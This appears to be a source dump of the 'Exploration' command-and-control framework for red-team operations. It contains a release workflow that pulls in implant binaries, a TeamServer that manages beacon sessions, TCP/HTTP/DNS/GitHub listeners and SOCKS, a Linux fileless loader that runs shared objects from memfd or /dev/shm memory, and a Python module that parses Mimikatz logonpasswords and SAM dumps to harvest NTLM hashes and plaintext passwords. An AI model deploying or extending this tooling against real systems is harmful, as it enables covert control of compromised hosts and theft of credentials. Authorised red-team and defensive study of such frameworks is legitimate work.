-DWITH_TESTS=OFF -DCMAKE_PROJECT_TOP_LEVEL_INCLUDES=${{github.workspace}}/conan_provider.cmake 52 | 53 | - name: Build 54 | run: cmake --build ${{github.workspace}}/build --config ${{env.BUILD_TYPE}} -j 18 55 | 56 | - name: Prep release 57 | run: | 58 | rm -rf Release/Beacons 59 | rm -f Release/Client/.gitignore 60 | rm -f Release/Client/logs/.gitignore 61 | rm -f Release/Client/libGrpcMessages/build/py/.gitignore 62 | rm -f Release/Modules/.gitignore 63 | mv ./Release/Modules/ ./Release/TeamServerModules/ 64 | rm -f Release/Scripts/.gitignore 65 | rm -f Release/TeamServer/.gitignore 66 | rm -f Release/Tools/.gitignore 67 | rm -f Release/www/.gitignore 68 | wget -q $(wget -q -O - 'https://api.github.com/repos/maxDcb/C2Implant/releases/latest' | jq -r '.assets[] | select(.name=="Release.zip").browser_download_url') -O ./C2Implant.zip 69 | unzip -o C2Implant.zip 70 | rm -f C2Implant.zip 71 | wget -q $(wget -q -O - 'https://api.github.com/repos/maxDcb/C2LinuxImplant/releases/latest' | jq -r '.assets[] | select(.name=="Release.tar.gz").browser_download_url') -O ./C2LinuxImplant.tar.gz 72 | tar -zxvf C2LinuxImplant.tar.gz 73 | rm -f C2LinuxImplant.tar.gz 74 | tar -zcvf Release.tar.gz Release 75 | 76 | - name: Upload release 77 | uses: svenstaro/upload-release-action@v2 78 | with: 79 | repo_token: ${{ secrets.GITHUB_TOKEN }} 80 | file: Release.tar.gz 81 | asset_name: Release.tar.gz 82 | tag: ${{ github.ref }} 83 | overwrite: true 84 | body: "C2TeamServer client and server, include the release of C2Implant with the windows beacons and modules" 85 | -------------------------------------------------------------------------------- /certs/sslTeamServ/genSslCert.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | set -euo pipefail 4 | 5 | SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" 6 | pushd "${SCRIPT_DIR}" >/dev/null 7 | 8 | # Ensure a clean slate so repeated executions do not reuse stale material. 9 | rm -f ca.pem ca-key.pem ca.srl \ 10 | server-key.pem server.csr server.pem server.ext server.cnf \ 11 | client-key.pem client.csr client.pem client.ext client.cnf 12 | 13 | # --------------------------------------------------------------------------- 14 | # Root CA 15 | # --------------------------------------------------------------------------- 16 | openssl req -x509 -newkey rsa:4096 -days 3650 -nodes \ 17 | -keyout ca-key.pem -out ca.pem \ 18 | -subj "/C=US/ST=California/L=San Francisco/O=C2TeamServer/OU=Certificate Services/CN=C2TeamServer Root CA" 19 | 20 | # --------------------------------------------------------------------------- 21 | # Server certificate (used by the TeamServer itself) 22 | # --------------------------------------------------------------------------- 23 | cat <<'EOF' > server.cnf 24 | [ req ] 25 | default_bits = 2048 26 | prompt = no 27 | default_md = sha256 28 | req_extensions = req_ext 29 | distinguished_name = dn 30 | 31 | [ dn ] 32 | C = US 33 | ST = California 34 | L = San Francisco 35 | O = C2TeamServer 36 | OU = TeamServer 37 | CN = localhost 38 | 39 | [ req_ext ] 40 | subjectAltName = @alt_names 41 | 42 | [ alt_names ] 43 | DNS.1 = localhost 44 | IP.1 = 127.0.0.1 45 | EOF 46 | 47 | openssl genrsa -out server-key.pem 2048 48 | openssl req -new -key server-key.pem -out server.csr -config server.cnf 49 | 50 | cat <<'EOF' > server.ext 51 | authorityKeyIdentifier = keyid,issuer 52 | basicConstraints = CA:FALSE 53 | extendedKeyUsage = serverAuth 54 | keyUsage = digitalSignature,keyEncipherment 55 | subjectAltName = @alt_names 56 | 57 | [ alt_names ] 58 | DNS.1 = localhost 59 | IP.1 = 127.0.0.1 60 | EOF 61 | 62 | openssl x509 -req -in server.csr -CA ca.pem -CAkey ca-key.pem \ 63 | -CAcreateserial -out server.pem -days 825 -sha256 -extfile server.ext 64 | 65 | # --------------------------------------------------------------------------- 66 | # Client certificate (used by gRPC clients) 67 | # --------------------------------------------------------------------------- 68 | cat <<'EOF' > client.cnf 69 | [ req ] 70 | default_bits = 2048 71 | prompt = no 72 | default_md = sha256 73 | req_extensions = req_ext 74 | distinguished_name = dn 75 | 76 | [ dn ] 77 | C = US 78 | ST = California 79 | L = San Francisco 80 | O = C2TeamServer 81 | OU = TeamServer Client 82 | CN = client 83 | 84 | [ req_ext ] 85 | subjectAltName = @alt_names 86 | 87 | [ alt_names ] 88 | DNS.1 = client 89 | EOF 90 | 91 | openssl genrsa -out client-key.pem 2048 92 | openssl req -new -key client-key.pem -out client.csr -config client.cnf 93 | 94 | cat <<'EOF' > client.ext 95 | authorityKeyIdentifier = keyid,issuer 96 | basicConstraints = CA:FALSE 97 | extendedKeyUsage = clientAuth 98 | keyUsage = digitalSignature,keyEncipherment 99 | subjectAltName = @alt_names 100 | 101 | [ alt_names ] 102 | DNS.1 = client 103 | EOF 104 | 105 | openssl x509 -req -in client.csr -CA ca.pem -CAkey ca-key.pem \ 106 | -CAcreateserial -out client.pem -days 825 -sha256 -extfile client.ext 107 | 108 | # Remove transient files that are not required by the build system. 109 | rm -f server.csr server.ext server.cnf client.csr client.ext client.cnf ca.srl 110 | 111 | popd >/dev/null 112 | -------------------------------------------------------------------------------- /libs/libMemoryModuleDumy/src/MemoryModule.cpp: -------------------------------------------------------------------------------- 1 | #include "MemoryModule.h" 2 | 3 | #include 4 | 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | 11 | 12 | void generateRandomShmName(char *name, size_t length) 13 | { 14 | // Define the character set to choose from 15 | const char charset[] = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; 16 | size_t charsetSize = sizeof(charset) - 1; 17 | 18 | // Seed the random number generator (if not already done) 19 | srand(time(NULL)); 20 | 21 | // Generate random characters 22 | for (size_t i = 0; i < length; i++) { 23 | int randomIndex = rand() % charsetSize; 24 | name[i] = charset[randomIndex]; 25 | } 26 | 27 | // Null-terminate the string 28 | name[length] = '\0'; 29 | } 30 | 31 | 32 | int kernel_version() 33 | { 34 | struct utsname buffer; 35 | uname(&buffer); 36 | 37 | // printf("system name = %s\n", buffer.sysname); 38 | // printf("node name = %s\n", buffer.nodename); 39 | // printf("release = %s\n", buffer.release); 40 | // printf("version = %s\n", buffer.version); 41 | // printf("machine = %s\n", buffer.machine); 42 | 43 | long ver[16]; 44 | char* p = buffer.release; 45 | int i=0; 46 | 47 | while (*p) { 48 | if (isdigit(*p)) { 49 | ver[i] = strtol(p, &p, 10); 50 | i++; 51 | } else { 52 | p++; 53 | } 54 | } 55 | 56 | // printf("Kernel %ld Major %ld Minor %ld Patch %ld\n", ver[0], ver[1], ver[2], ver[3]); 57 | 58 | if (ver[0] < 3) 59 | return 0; 60 | else if (ver[0] > 3) 61 | return 1; 62 | if (ver[1] < 17) 63 | return 0; 64 | else 65 | return 1; 66 | } 67 | 68 | 69 | HMEMORYMODULE MemoryLoadLibrary(const void *moduleData, size_t size) 70 | { 71 | char shmName[6]; 72 | generateRandomShmName(shmName, 5); 73 | 74 | // 75 | // create the shms 76 | // 77 | int shm_fd; 78 | 79 | // std::cout << "kernel_version() " << kernel_version() << std::endl; 80 | 81 | //If we have a kernel < 3.17 82 | if (kernel_version() == 0) 83 | { 84 | shm_fd = shm_open(shmName, O_RDWR | O_CREAT, S_IRWXU); 85 | if (shm_fd < 0) 86 | { 87 | // fprintf(stderr, "[-] Could not open file descriptor\n"); 88 | return nullptr; 89 | } 90 | } 91 | // If we have a kernel >= 3.17 92 | else 93 | { 94 | shm_fd = memfd_create(shmName, 1); 95 | if (shm_fd < 0) 96 | { 97 | // fprintf(stderr, "[-] Could not open file descriptor\n"); 98 | return nullptr; 99 | } 100 | } 101 | 102 | // memcpy in shm 103 | write(shm_fd, moduleData, size); 104 | 105 | void *handle=NULL; 106 | 107 | // printf("[+] Trying to load Shared Object!\n"); 108 | if(kernel_version() == 0) 109 | { 110 | std::string path = "/dev/shm/"; 111 | path+=shmName; 112 | 113 | handle = dlopen(path.c_str(), RTLD_LAZY); 114 | 115 | close(shm_fd); 116 | shm_unlink(path.c_str()); 117 | } 118 | else 119 | { 120 | // When we pass the file descriptor, as the number is alwayse the same dlopen give use the same handle everytime 121 | // We create a syslink with a random name to bypass this restriction 122 | std::string path = "/proc/"; 123 | path+=std::to_string(getpid()); 124 | path+="/fd/"; 125 | path+=std::to_string(shm_fd); 126 | 127 | std::string symlinkPath = "/tmp/"; 128 | symlinkPath+=shmName; 129 | 130 | symlink(path.c_str(), symlinkPath.c_str()); 131 | 132 | handle = dlopen(symlinkPath.c_str(), RTLD_LAZY); 133 | 134 | unlink(symlinkPath.c_str()); 135 | close(shm_fd); 136 | } 137 | 138 | return handle; 139 | } 140 | 141 | 142 | void MemoryFreeLibrary(HMEMORYMODULE mod) 143 | { 144 | dlclose(mod); 145 | } 146 | 147 | 148 | void* MemoryGetProcAddress(HMEMORYMODULE mod, const char* procName) 149 | { 150 | return dlsym(mod, procName); 151 | } -------------------------------------------------------------------------------- /C2Client/C2Client/images/linux.svg: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /C2Client/C2Client/images/linuxhighpriv.svg: -------------------------------------------------------------------------------- 1 | 2 | 3 | -------------------------------------------------------------------------------- /C2Client/C2Client/TerminalModules/Credentials/credentials.py: -------------------------------------------------------------------------------- 1 | import json 2 | import re 3 | 4 | from ...grpcClient import GrpcClient 5 | 6 | GetCredentialsInstruction = "getCred" 7 | AddCredentialsInstruction = "addCred" 8 | 9 | 10 | def getCredentials(grpcClient: GrpcClient, TeamServerApi_pb2): 11 | commandTeamServer = GetCredentialsInstruction 12 | termCommand = TeamServerApi_pb2.TermCommand(cmd=commandTeamServer, data=b"") 13 | resultTermCommand = grpcClient.sendTermCmd(termCommand) 14 | result = resultTermCommand.result 15 | return result 16 | 17 | 18 | def addCredentials(grpcClient: GrpcClient,TeamServerApi_pb2, cred: str): 19 | currentcredentials = json.loads(getCredentials(grpcClient, TeamServerApi_pb2)) 20 | credjson = json.loads(cred) 21 | 22 | if credjson in currentcredentials: 23 | return 24 | 25 | commandTeamServer = AddCredentialsInstruction 26 | termCommand = TeamServerApi_pb2.TermCommand(cmd=commandTeamServer, data=cred.encode()) 27 | resultTermCommand = grpcClient.sendTermCmd(termCommand) 28 | result = resultTermCommand.result 29 | return result 30 | 31 | 32 | def handleSekurlsaLogonPasswords(mimikatzOutput: str, grpcClient: GrpcClient,TeamServerApi_pb2): 33 | auth_block_pattern = r"Authentication Id : .*?\n(.*?)(?=\nAuthentication Id :|\Z)" 34 | user_domain_pattern = r"User Name\s*:\s*(.*?)\s*Domain\s*:\s*(.*?)\n" 35 | ntlm_pattern = r"\*\s*NTLM\s*:\s*([a-fA-F0-9]{32})" 36 | password_pattern = r"\*\s*Password\s*:\s*(.+)" 37 | 38 | auth_blocks = re.findall(auth_block_pattern, mimikatzOutput, re.DOTALL) 39 | for block in auth_blocks: 40 | user_domain_match = re.search(user_domain_pattern, block) 41 | if user_domain_match: 42 | username = user_domain_match.group(1).strip() 43 | domain = user_domain_match.group(2).strip() 44 | else: 45 | username = "N/A" 46 | domain = "N/A" 47 | 48 | matchs = re.findall(ntlm_pattern, block) 49 | matchs = list(dict.fromkeys(matchs)) 50 | for ntlm in matchs: 51 | ntlm = ntlm.strip() 52 | if ntlm: 53 | cred = {} 54 | cred["username"] = username 55 | cred["domain"] = domain 56 | cred["ntlm"] = ntlm 57 | addCredentials(grpcClient, TeamServerApi_pb2, json.dumps(cred)) 58 | 59 | matchs = re.findall(password_pattern, block) 60 | matchs = list(dict.fromkeys(matchs)) 61 | for password in matchs: 62 | password = password.strip() 63 | if password and password != "(null)": 64 | cred = {} 65 | cred["username"] = username 66 | cred["domain"] = domain 67 | cred["password"] = password 68 | addCredentials(grpcClient, TeamServerApi_pb2, json.dumps(cred)) 69 | 70 | 71 | def handleLsaDumpSAM(mimikatzOutput: str, grpcClient: GrpcClient,TeamServerApi_pb2): 72 | domain_block_pattern = r"(Domain :.*?)(?=\nDomain :|\Z)" 73 | domain_pattern = r"Domain : (.*)" 74 | rid_block_pattern = r"(RID\s*:.*?)(?=\nRID\s*:|\Z)" 75 | user_hash_pattern = r"User\s*:\s*(\S+)\r?\n\s+Hash NTLM:\s*([a-fA-F0-9]+)" 76 | 77 | domain_blocks = re.findall(domain_block_pattern, mimikatzOutput, re.DOTALL) 78 | for block in domain_blocks: 79 | domain_match = re.search(domain_pattern, block) 80 | if domain_match: 81 | domain = domain_match.group(1).strip() 82 | else: 83 | continue 84 | 85 | rid_blocks = re.findall(rid_block_pattern, block, re.DOTALL) 86 | for rid_block in rid_blocks: 87 | matches = re.findall(user_hash_pattern, rid_block) 88 | for user, hash_ntlm in matches: 89 | cred = {} 90 | cred["username"] = user 91 | cred["domain"] = domain 92 | cred["ntlm"] = hash_ntlm 93 | addCredentials(grpcClient, TeamServerApi_pb2, json.dumps(cred)) 94 | 95 | 96 | def handleMimikatzCredentials(mimikatzOutput: str, grpcClient: GrpcClient,TeamServerApi_pb2): 97 | # check if "sekurlsa::logonpasswords" 98 | handleSekurlsaLogonPasswords(mimikatzOutput, grpcClient,TeamServerApi_pb2) 99 | # check if "lsadump::sam" 100 | handleLsaDumpSAM(mimikatzOutput, grpcClient, TeamServerApi_pb2) 101 | # check if "sekurlsa::ekeys" 102 | # extract Password / aies256_hmac / rc4_md4 103 | -------------------------------------------------------------------------------- /teamServer/teamServer/TeamServer.hpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | #include "listener/ListenerTcp.hpp" 7 | #include "listener/ListenerHttp.hpp" 8 | #include "listener/ListenerGithub.hpp" 9 | #include "listener/ListenerDns.hpp" 10 | 11 | #include "modules/ModuleCmd/ModuleCmd.hpp" 12 | 13 | #include "SocksServer.hpp" 14 | 15 | #include 16 | #include 17 | #include 18 | #include 19 | #include 20 | 21 | #include "TeamServerApi.pb.h" 22 | #include "TeamServerApi.grpc.pb.h" 23 | 24 | #include "spdlog/spdlog.h" 25 | #include "spdlog/sinks/stdout_color_sinks.h" 26 | #include "spdlog/sinks/rotating_file_sink.h" 27 | #include "spdlog/sinks/basic_file_sink.h" 28 | 29 | #include "nlohmann/json.hpp" 30 | 31 | class TeamServer final : public teamserverapi::TeamServerApi::Service 32 | { 33 | 34 | public: 35 | explicit TeamServer(const nlohmann::json& config); 36 | ~TeamServer(); 37 | 38 | grpc::Status Authenticate(grpc::ServerContext* context, const teamserverapi::AuthRequest* request, teamserverapi::AuthResponse* response) override; 39 | grpc::Status GetListeners(grpc::ServerContext* context, const teamserverapi::Empty* empty, grpc::ServerWriter* writer); 40 | grpc::Status AddListener(grpc::ServerContext* context, const teamserverapi::Listener* listenerToCreate, teamserverapi::Response* response); 41 | grpc::Status StopListener(grpc::ServerContext* context, const teamserverapi::Listener* listenerToStop, teamserverapi::Response* response); 42 | 43 | grpc::Status GetSessions(grpc::ServerContext* context, const teamserverapi::Empty* empty, grpc::ServerWriter* writer); 44 | grpc::Status StopSession(grpc::ServerContext* context, const teamserverapi::Session* sessionToStop, teamserverapi::Response* response); 45 | 46 | grpc::Status SendCmdToSession(grpc::ServerContext* context, const teamserverapi::Command* command, teamserverapi::Response* response); 47 | grpc::Status GetResponseFromSession(grpc::ServerContext* context, const teamserverapi::Session* session, grpc::ServerWriter* writer); 48 | 49 | grpc::Status GetHelp(grpc::ServerContext* context, const teamserverapi::Command* command, teamserverapi::CommandResponse* commandResponse); 50 | 51 | grpc::Status SendTermCmd(grpc::ServerContext* context, const teamserverapi::TermCommand* command, teamserverapi::TermCommand* response); 52 | 53 | protected: 54 | int handleCmdResponse(); 55 | bool isListenerAlive(const std::string& listenerHash); 56 | int prepMsg(const std::string& input, C2Message& c2Message, bool isWindows = true); 57 | 58 | private: 59 | grpc::Status ensureAuthenticated(grpc::ServerContext* context); 60 | std::string generateToken() const; 61 | std::string hashPassword(const std::string& password) const; 62 | void cleanupExpiredTokens(); 63 | 64 | nlohmann::json m_config; 65 | 66 | std::shared_ptr m_logger; 67 | 68 | std::vector> m_listeners; 69 | nlohmann::json m_credentials = nlohmann::json::array(); 70 | 71 | std::vector> m_moduleCmd; 72 | CommonCommands m_commonCommands; 73 | 74 | std::string m_teamServerModulesDirectoryPath; 75 | std::string m_linuxModulesDirectoryPath; 76 | std::string m_windowsModulesDirectoryPath; 77 | std::string m_linuxBeaconsDirectoryPath; 78 | std::string m_windowsBeaconsDirectoryPath; 79 | std::string m_toolsDirectoryPath; 80 | std::string m_scriptsDirectoryPath; 81 | 82 | // Socks 83 | bool m_isSocksServerRunning; 84 | bool m_isSocksServerBinded; 85 | void socksThread(); 86 | 87 | std::unique_ptr m_socksServer; 88 | std::unique_ptr m_socksThread; 89 | std::shared_ptr m_socksListener; 90 | std::shared_ptr m_socksSession; 91 | 92 | bool m_handleCmdResponseThreadRuning; 93 | std::unique_ptr m_handleCmdResponseThread; 94 | std::vector m_cmdResponses; 95 | std::unordered_map> m_sentResponses; 96 | 97 | std::vector m_sentC2Messages; 98 | 99 | std::string m_authCredentialsFile; 100 | std::unordered_map m_userPasswordHashes; 101 | bool m_authEnabled; 102 | std::unordered_map m_activeTokens; 103 | std::chrono::minutes m_tokenValidityDuration; 104 | mutable std::mutex m_authMutex; 105 | }; 106 | -------------------------------------------------------------------------------- /C2Client/C2Client/libGrpcMessages/build/py/TeamServerApi_pb2.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # Generated by the protocol buffer compiler. DO NOT EDIT! 3 | # NO CHECKED-IN PROTOBUF GENCODE 4 | # source: TeamServerApi.proto 5 | # Protobuf Python Version: 5.27.0 6 | """Generated protocol buffer code.""" 7 | from google.protobuf import descriptor as _descriptor 8 | from google.protobuf import descriptor_pool as _descriptor_pool 9 | from google.protobuf import runtime_version as _runtime_version 10 | from google.protobuf import symbol_database as _symbol_database 11 | from google.protobuf.internal import builder as _builder 12 | _runtime_version.ValidateProtobufRuntimeVersion( 13 | _runtime_version.Domain.PUBLIC, 14 | 5, 15 | 27, 16 | 0, 17 | '', 18 | 'TeamServerApi.proto' 19 | ) 20 | # @@protoc_insertion_point(imports) 21 | 22 | _sym_db = _symbol_database.Default() 23 | 24 | 25 | 26 | 27 | DESCRIPTOR = _descriptor_pool.Default().AddSerializedFile(b'\n\x13TeamServerApi.proto\x12\rteamserverapi\"\x07\n\x05\x45mpty\"1\n\x0b\x41uthRequest\x12\x10\n\x08username\x18\x01 \x01(\t\x12\x10\n\x08password\x18\x02 \x01(\t\"U\n\x0c\x41uthResponse\x12%\n\x06status\x18\x01 \x01(\x0e\x32\x15.teamserverapi.Status\x12\r\n\x05token\x18\x02 \x01(\t\x12\x0f\n\x07message\x18\x03 \x01(\t\"B\n\x08Response\x12%\n\x06status\x18\x01 \x01(\x0e\x32\x15.teamserverapi.Status\x12\x0f\n\x07message\x18\x02 \x01(\x0c\"\xa5\x01\n\x08Listener\x12\x14\n\x0clistenerHash\x18\x01 \x01(\t\x12\x0c\n\x04type\x18\x02 \x01(\t\x12\x0c\n\x04port\x18\x03 \x01(\x05\x12\n\n\x02ip\x18\x04 \x01(\t\x12\x0f\n\x07project\x18\x06 \x01(\t\x12\r\n\x05token\x18\x07 \x01(\t\x12\x0e\n\x06\x64omain\x18\x08 \x01(\t\x12\x17\n\x0fnumberOfSession\x18\x05 \x01(\x05\x12\x12\n\nbeaconHash\x18\t \x01(\t\"\xf4\x01\n\x07Session\x12\x12\n\nbeaconHash\x18\x01 \x01(\t\x12\x14\n\x0clistenerHash\x18\x02 \x01(\t\x12\x10\n\x08hostname\x18\x03 \x01(\t\x12\x10\n\x08username\x18\x04 \x01(\t\x12\x0c\n\x04\x61rch\x18\x05 \x01(\t\x12\x11\n\tprivilege\x18\x06 \x01(\t\x12\n\n\x02os\x18\x07 \x01(\t\x12\x17\n\x0flastProofOfLife\x18\x08 \x01(\t\x12\x0e\n\x06killed\x18\t \x01(\x08\x12\x13\n\x0binternalIps\x18\n \x01(\t\x12\x11\n\tprocessId\x18\x0b \x01(\t\x12\x1d\n\x15\x61\x64\x64itionalInformation\x18\x0c \x01(\t\"@\n\x07\x43ommand\x12\x12\n\nbeaconHash\x18\x01 \x01(\t\x12\x14\n\x0clistenerHash\x18\x02 \x01(\t\x12\x0b\n\x03\x63md\x18\x03 \x01(\t\"Y\n\x0f\x43ommandResponse\x12\x12\n\nbeaconHash\x18\x01 \x01(\t\x12\x13\n\x0binstruction\x18\x02 \x01(\t\x12\x0b\n\x03\x63md\x18\x03 \x01(\t\x12\x10\n\x08response\x18\x04 \x01(\x0c\"8\n\x0bTermCommand\x12\x0b\n\x03\x63md\x18\x01 \x01(\t\x12\x0e\n\x06result\x18\x02 \x01(\t\x12\x0c\n\x04\x64\x61ta\x18\x03 \x01(\x0c*\x18\n\x06Status\x12\x06\n\x02OK\x10\x00\x12\x06\n\x02KO\x10\x01\x32\xd2\x05\n\rTeamServerApi\x12I\n\x0c\x41uthenticate\x12\x1a.teamserverapi.AuthRequest\x1a\x1b.teamserverapi.AuthResponse\"\x00\x12\x41\n\x0cGetListeners\x12\x14.teamserverapi.Empty\x1a\x17.teamserverapi.Listener\"\x00\x30\x01\x12\x41\n\x0b\x41\x64\x64Listener\x12\x17.teamserverapi.Listener\x1a\x17.teamserverapi.Response\"\x00\x12\x42\n\x0cStopListener\x12\x17.teamserverapi.Listener\x1a\x17.teamserverapi.Response\"\x00\x12?\n\x0bGetSessions\x12\x14.teamserverapi.Empty\x1a\x16.teamserverapi.Session\"\x00\x30\x01\x12@\n\x0bStopSession\x12\x16.teamserverapi.Session\x1a\x17.teamserverapi.Response\"\x00\x12\x43\n\x07GetHelp\x12\x16.teamserverapi.Command\x1a\x1e.teamserverapi.CommandResponse\"\x00\x12\x45\n\x10SendCmdToSession\x12\x16.teamserverapi.Command\x1a\x17.teamserverapi.Response\"\x00\x12T\n\x16GetResponseFromSession\x12\x16.teamserverapi.Session\x1a\x1e.teamserverapi.CommandResponse\"\x00\x30\x01\x12G\n\x0bSendTermCmd\x12\x1a.teamserverapi.TermCommand\x1a\x1a.teamserverapi.TermCommand\"\x00\x62\x06proto3') 28 | 29 | _globals = globals() 30 | _builder.BuildMessageAndEnumDescriptors(DESCRIPTOR, _globals) 31 | _builder.BuildTopDescriptorsAndMessages(DESCRIPTOR, 'TeamServerApi_pb2', _globals) 32 | if not _descriptor._USE_C_DESCRIPTORS: 33 | DESCRIPTOR._loaded_options = None 34 | _globals['_STATUS']._serialized_start=883 35 | _globals['_STATUS']._serialized_end=907 36 | _globals['_EMPTY']._serialized_start=38 37 | _globals['_EMPTY']._serialized_end=45 38 | _globals['_AUTHREQUEST']._serialized_start=47 39 | _globals['_AUTHREQUEST']._serialized_end=96 40 | _globals['_AUTHRESPONSE']._serialized_start=98 41 | _globals['_AUTHRESPONSE']._serialized_end=183 42 | _globals['_RESPONSE']._serialized_start=185 43 | _globals['_RESPONSE']._serialized_end=251 44 | _globals['_LISTENER']._serialized_start=254 45 | _globals['_LISTENER']._serialized_end=419 46 | _globals['_SESSION']._serialized_start=422 47 | _globals['_SESSION']._serialized_end=666 48 | _globals['_COMMAND']._serialized_start=668 49 | _globals['_COMMAND']._serialized_end=732 50 | _globals['_COMMANDRESPONSE']._serialized_start=734 51 | _globals['_COMMANDRESPONSE']._serialized_end=823 52 | _globals['_TERMCOMMAND']._serialized_start=825 53 | _globals['_TERMCOMMAND']._serialized_end=881 54 | _globals['_TEAMSERVERAPI']._serialized_start=910 55 | _globals['_TEAMSERVERAPI']._serialized_end=1632 56 | # @@protoc_insertion_point(module_scope) 57 | -------------------------------------------------------------------------------- /C2Client/C2Client/TerminalModules/Batcave/batcave.py: -------------------------------------------------------------------------------- 1 | from pathlib import Path 2 | import requests 3 | import json 4 | import zipfile 5 | import os 6 | 7 | BatcaveUrl = "https://github.com/exploration-batcave/batcave" 8 | BatcaveCache = os.path.join(Path(__file__).parent, 'cache') 9 | 10 | def getLatestRelease(githubUrl: str): 11 | owner = githubUrl.split("/")[3] 12 | repo = githubUrl.split("/")[4] 13 | return f"https://api.github.com/repos/{owner}/{repo}/releases/latest" 14 | 15 | 16 | def fetchBatcaveJson(): 17 | urlToFetch = getLatestRelease(BatcaveUrl) 18 | response = requests.get(urlToFetch) 19 | 20 | res = {} 21 | if response.status_code == 200: 22 | release_data = response.json() 23 | for asset in release_data.get("assets", []): 24 | if asset["name"].endswith(".json"): 25 | json_url = asset["browser_download_url"] 26 | 27 | json_response = requests.get(json_url) 28 | if json_response.status_code == 200: 29 | json_data = json_response.json() 30 | return json_data 31 | print("Failed to Fetch Json") 32 | return {} 33 | 34 | 35 | def searchTheBatcave(name: str): 36 | batcaveJson = fetchBatcaveJson() 37 | gadgetList = batcaveJson.get("gadgets", []) 38 | bundleList = batcaveJson.get("bundles", []) 39 | 40 | # Searching in Gadgets 41 | resGadget = [] 42 | for gadget in gadgetList: 43 | if name.lower() in gadget.get("name", "").lower(): 44 | resGadget.append(gadget.get("name")) 45 | 46 | # Searching in Bundles 47 | resBundle = [] 48 | for bundle in bundleList: 49 | bundleName = next(iter(bundle)) 50 | if name.lower() in bundleName.lower(): 51 | resBundle.append(bundle) 52 | 53 | result = "" 54 | if resGadget != []: 55 | result += "Found the Following BatGadget that may correspond:\n" 56 | for gadget in resGadget: 57 | result += f" - Batcave Install {gadget}\n" 58 | else: 59 | result += "No BatGadget Found ... It is ok, Don't be the mask\n" 60 | 61 | result += "\n" 62 | 63 | if resBundle != []: 64 | result += "Found the Following BatBundle that may correspond:\n" 65 | for bundle in resBundle: 66 | bundleName = next(iter(bundle)) 67 | result += f" - Batcave BundleInstall {bundleName} - - - > {bundle.get(bundleName)}\n" 68 | else: 69 | result += "No Bundles Found ... It is ok, Don't be the mask\n" 70 | return result 71 | 72 | 73 | def saveZipInLocalCache(releaseURL: str): 74 | os.makedirs(BatcaveCache, exist_ok=True) 75 | response = requests.get(releaseURL) 76 | if response.status_code == 200: 77 | release_data = response.json() 78 | for asset in release_data.get("assets", []): 79 | if asset["name"].endswith(".zip"): # Assuming the file is a ZIP 80 | zip_url = asset["browser_download_url"] 81 | zip_file_path = os.path.join(BatcaveCache, asset["name"]) 82 | with requests.get(zip_url, stream=True) as r: 83 | r.raise_for_status() 84 | with open(zip_file_path, "wb") as f: 85 | for chunk in r.iter_content(chunk_size=8192): 86 | f.write(chunk) 87 | return zip_file_path 88 | return "" 89 | 90 | 91 | def unzipFile(zipfilepath: str): 92 | extractDir = os.path.join(BatcaveCache, "extracted") 93 | os.makedirs(extractDir, exist_ok=True) 94 | with zipfile.ZipFile(zipfilepath, "r") as zip_ref: 95 | zip_ref.extractall(extractDir) 96 | extractedFiles = zip_ref.namelist() 97 | 98 | if len(extractedFiles) != 1: 99 | print("Weird, we should have 1 file per zip but got this " + str(extractedFiles)) 100 | print("Will take the first and continue with the life, but check the logs") 101 | return os.path.join(extractDir, extractedFiles[0]) 102 | 103 | 104 | def downloadBatGadget(name: str): 105 | batcaveJson = fetchBatcaveJson() 106 | gadgetList = batcaveJson.get("gadgets", []) 107 | for gadget in gadgetList: 108 | if name.lower() == gadget.get("name", "").lower(): 109 | batUrl = gadget.get("url") 110 | batReleaseUrl = getLatestRelease(batUrl) 111 | zipPath = saveZipInLocalCache(batReleaseUrl) 112 | unzipedFile = unzipFile(zipPath) 113 | return unzipedFile 114 | return "" 115 | 116 | 117 | def downloadBatBundle(name: str): 118 | batcaveJson = fetchBatcaveJson() 119 | bundleList = batcaveJson.get("bundles", []) 120 | for bundle in bundleList: 121 | bundleName = next(iter(bundle)) 122 | res = [] 123 | if name.lower() == bundleName.lower(): 124 | for gadgetName in bundle.get(bundleName): 125 | batGadgetPath = downloadBatGadget(gadgetName) 126 | if batGadgetPath != "": 127 | res.append(batGadgetPath) 128 | return res 129 | return [] 130 | -------------------------------------------------------------------------------- /images/architecture.drawio: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # **Exploration C2 Framework 🚀** 2 | 3 |

4 | Exploration C2 Logo 5 |

6 | 7 | ## **📋 Overview** 8 | 9 | **Exploration** is a modular and extensible Command and Control (C2) framework tailored for red team operations. This repository contains the backend **TeamServer** (written in C++) and the frontend **Client** (written in Python). 10 | 11 | The latest release package includes: 12 | 13 | * The C++ **TeamServer** 14 | * The Python **Client** 15 | * Windows modules and beacons from [C2Implant](https://github.com/maxDcb/C2Implant) 16 | * Linux modules and beacons from [C2LinuxImplant](https://github.com/maxDcb/C2LinuxImplant) 17 | 18 | --- 19 | 20 | ## **👀 Look and Feel** 21 | 22 |

23 | 24 |

25 | 26 |

27 | 28 |

29 | 30 | --- 31 | 32 | ## **🏗️ Architecture** 33 | 34 | The **TeamServer** is a standalone C++ application responsible for managing listeners and active sessions. 35 | The **Client**, written in Python, communicates with the TeamServer through gRPC. 36 | 37 | Beacons deployed on target machines initiate callbacks to the TeamServer, establishing interactive sessions. These sessions are used to send commands, receive output, and control implants. 38 | Supported communication channels include: `TCP`, `SMB`, `HTTP`, and `HTTPS`. 39 | 40 | ### **🖥️ Architecture Diagram** 41 | 42 |

43 | 44 |

